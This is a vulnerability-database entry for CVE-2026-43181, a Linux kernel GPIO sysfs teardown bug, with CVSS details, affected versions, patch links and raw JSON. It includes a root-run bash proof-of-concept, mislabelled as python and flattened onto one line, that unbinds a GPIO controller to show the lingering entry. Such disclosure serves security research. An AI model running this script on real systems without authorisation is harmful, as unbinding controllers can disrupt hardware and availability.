Security Vulnerability Report
中文
CVE-2026-43181 CVSS 5.5 MEDIUM

CVE-2026-43181

Published: 2026-05-06 12:16:37
Last Modified: 2026-05-11 20:53:27
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: gpio: sysfs: fix chip removal with GPIOs exported over sysfs Currently if we export a GPIO over sysfs and unbind the parent GPIO controller, the exported attribute will remain under /sys/class/gpio because once we remove the parent device, we can no longer associate the descriptor with it in gpiod_unexport() and never drop the final reference. Rework the teardown code: provide an unlocked variant of gpiod_unexport() and remove all exported GPIOs with the sysfs_lock taken before unregistering the parent device itself. This is done to prevent any new exports happening before we unregister the device completely.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
Linux Kernel (具体受影响版本需参考Git补丁提交记录)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash # PoC for CVE-2026-43181: GPIO sysfs chip removal issue # This script demonstrates the lingering sysfs entry after unbinding the controller. GPIO_CHIP="gpiochip0" # Example chip, may vary depending on hardware GPIO_PIN="0" # Example pin # Check if running as root (required for unbind) if [ "$EUID" -ne 0 ]; then echo "Please run as root to test the unbind vulnerability." exit 1 fi echo "[*] Exporting GPIO pin $GPIO_PIN..." echo $GPIO_PIN > /sys/class/gpio/export 2>/dev/null if [ $? -ne 0 ]; then echo "[-] Failed to export GPIO. Check permissions or pin status." exit 1 fi sleep 1 echo "[+] GPIO exported. Checking /sys/class/gpio/gpio$GPIO_PIN..." ls -l /sys/class/gpio/gpio$GPIO_PIN echo "[*] Unbinding the GPIO controller $GPIO_CHIP..." echo $GPIO_CHIP > /sys/bus/gpio/drivers/gpiochip/unbind 2>/dev/null if [ $? -ne 0 ]; then echo "[-] Failed to unbind." echo $GPIO_PIN > /sys/class/gpio/unexport exit 1 fi echo "[*] Controller unbound. Checking for lingering sysfs entry..." # Vulnerability: The directory might still exist if [ -d "/sys/class/gpio/gpio$GPIO_PIN" ]; then echo "[!] Vulnerability confirmed: /sys/class/gpio/gpio$GPIO_PIN still exists after unbind!" else echo "[-] Directory cleaned up properly." fi

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-43181", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-06T12:16:36.670", "lastModified": "2026-05-11T20:53:27.147", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ngpio: sysfs: fix chip removal with GPIOs exported over sysfs\n\nCurrently if we export a GPIO over sysfs and unbind the parent GPIO\ncontroller, the exported attribute will remain under /sys/class/gpio\nbecause once we remove the parent device, we can no longer associate the\ndescriptor with it in gpiod_unexport() and never drop the final\nreference.\n\nRework the teardown code: provide an unlocked variant of\ngpiod_unexport() and remove all exported GPIOs with the sysfs_lock taken\nbefore unregistering the parent device itself. This is done to prevent\nany new exports happening before we unregister the device completely."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.17", "versionEndExcluding": "6.18.16", "matchCriteriaId": "742E05BA-773A-4EF3-822F-A4A7DED31A65"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.6", "matchCriteriaId": "373EEEDA-FAA1-4FB4-B6ED-DB4DD99DBE67"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/54f463494eb5bf193ef7d904a493474c451734df", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/6766f59012301f1bf3f46c6e7149caca45d92309", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/a645cc25904b0baf508b77a0402ce151212b9800", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}